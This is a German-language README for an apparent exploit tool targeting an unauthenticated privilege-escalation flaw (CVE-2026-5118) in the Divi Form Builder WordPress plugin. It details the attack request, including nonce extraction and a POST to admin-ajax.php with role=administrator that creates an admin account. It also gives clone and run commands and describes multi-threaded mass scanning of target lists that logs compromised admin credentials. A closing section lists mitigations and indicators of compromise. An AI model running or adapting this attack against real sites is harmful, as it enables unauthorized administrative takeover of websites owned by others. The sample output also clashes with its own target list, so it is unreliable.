Divi Form Builder <= 5.1.2 - Nicht authentifizierte Privilegieneskalation über 'role'

⚠️ WARNUNG: Dieses Tool ist nur für autorisierte Penetrationstests und Sicherheitsforschung bestimmt.
Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Weitere Haftungsausschlüsse finden Sie im Haftungsausschluss auf dem Deckblatt von Jenderal92. Sie können es HIER !!! überprüfen.

Overview

Dieses Python-2-Skript nutzt eine Privilegieneskalations-Schwachstelle im Divi WordPress Plugin (und verwandten Divi-Formularen) aus. Es ermöglicht die Fernregistrierung eines Administrator-Kontos, indem es:

• das fb_nonce aus dem Divi-Registrierungsformular des Ziels extrahiert.
• eine manipulierte Multipart-Anfrage an /wp-admin/admin-ajax.php mit role=administrator sendet.
• automatisch den Erfolg erkennt und kompromittierte Admin-URLs speichert.

Features

• ✅ Multi‑threaded (Standard 20 Threads) für schnelles Scannen.
• ✅ Automatische URL-Normalisierung – fügt https:// hinzu, falls fehlend.
• ✅ Nonce-Extraktion mittels mehrerer Regex-Muster (Inline-JavaScript, versteckte Eingaben, de_fb_obj).
• ✅ Multipart/form-data-Anfrage, die eine legitime Browser-Übermittlung nachahmt.
• ✅ Erfolgserkennung über Antwort-Keywords (success, user_id, user created, etc.).
• ✅ Ergebnisse gespeichert in results.txt im Format:
  https://target.com/wp-admin/ | username | password

Requirements

• Python 2.7 (verwendet urllib2, Queue, threading – nicht kompatibel mit Python 3 ohne Änderungen)
• Eine Liste der Ziel-URLs (eine pro Zeile)

Installation

git clone https://github.com/Jenderal92/CVE-2026-5118.git
cd CVE-2026-5118
chmod +x CVE-2026-5118.py

Usage

1. Prepare target list

Erstellen Sie eine Textdatei mit einer Domain oder URL pro Zeile. Sie können http:// / https:// weglassen – das Skript fügt standardmäßig https:// hinzu.

Example targets.txt:

example.com
https://vulnerable-site.com
http://127.0.0.1/wordpress
test-site.org

2. Run the exploit

python CVE-2026-5118.py targets.txt

3. Output example

[*] Total targets : 4
[*] Credentials   : Attacker / Attacker@123#+
[*] Threads       : 20
[*] Output file   : results.txt

[1] Checking https://example.com
[+] SUCCESS! https://example.com/wp-admin/

[2] Checking https://vulnerable-site.com
[+] SUCCESS! https://vulnerable-site.com/wp-admin/

[3] Checking http://192.168.1.100/wordpress
[3] FAILED  http://192.168.1.100/wordpress

[4] Checking https://test-site.org
[4] FAILED  https://test-site.org

=== DONE ===
Successful: 2 / 4

4. Ergebnisdatei (results.txt)

https://example.com/wp-admin/|Attacker|Attacker@123#+
https://vulnerable-site.com/wp-admin/|Attacker|Attacker@123#+

Configuration

Sie können die folgenden Variablen am Anfang des Skripts anpassen:

How It Works

1. URL normalisieren – fügt https:// hinzu, falls kein Schema angegeben ist.
2. Nonce extrahieren – ruft die Startseite (oder Registrierungsseite) ab und sucht mit Regex-Mustern nach fb_nonce.
3. Anfrage erstellen – erstellt eine multipart/form-data POST-Anfrage mit:
   • action=de_fb_ajax_submit_ajax_handler
   • fb_nonce=<extracted nonce>
   • role=administrator
   • de_fb_user_login / user_login
   • de_fb_user_pass / user_pass
   • de_fb_user_email / user_email
4. Senden an admin‑ajax.php – wenn die Antwort Erfolgs-Keywords enthält, wird das Ziel als verwundbar markiert.

Detection & Mitigation

Für WordPress-Administratoren, die Divi verwenden:

• Aktualisieren Sie Divi und alle zugehörigen Plugins auf die neueste Version.
• Deaktivieren Sie die öffentliche Registrierung, falls nicht benötigt.
• Verwenden Sie ein Sicherheits-Plugin (Wordfence, Sucuri), um admin-ajax.php-Anfragen zu überwachen.
• Implementieren Sie reCAPTCHA auf allen Registrierungsformularen.
• Setzen Sie Registrierungsformulare niemals mit einem manipulierbaren role-Parameter ein.

Indikatoren für Kompromittierung (IOCs):

• Unerwartete admin-ajax.php-Anfragen mit action=de_fb_ajax_submit_ajax_handler
• Neue Administratoren mit verdächtigen Benutzernamen (z.B. Attacker)
• POST-Daten mit role=administrator in Zugriffsprotokollen

Legal Disclaimer

Diese Software wird nur zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt. Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Durch die Nutzung dieser Software erklären Sie sich damit einverstanden:

• Vor dem Testen eine schriftliche Genehmigung des Systeminhabers einzuholen.
• Alle geltenden Gesetze (CFAA, Computer Misuse Act, UU ITE usw.) einzuhalten.
• Jeden unbefugten Zugriff sofort zu löschen.
• Schwachstellen verantwortungsbewusst dem betroffenen Anbieter zu melden.

Ein Verstoß gegen diese Bedingungen kann zu strafrechtlicher Verfolgung, Geld- oder Haftstrafen führen.

Contributing

Pull-Requests für Verbesserungen sind willkommen (Python 3 Port, bessere Nonce-Extraktion, zusätzliche Erkennung von Registrierungspfaden). Bitte den ethischen Haftungsausschluss beibehalten.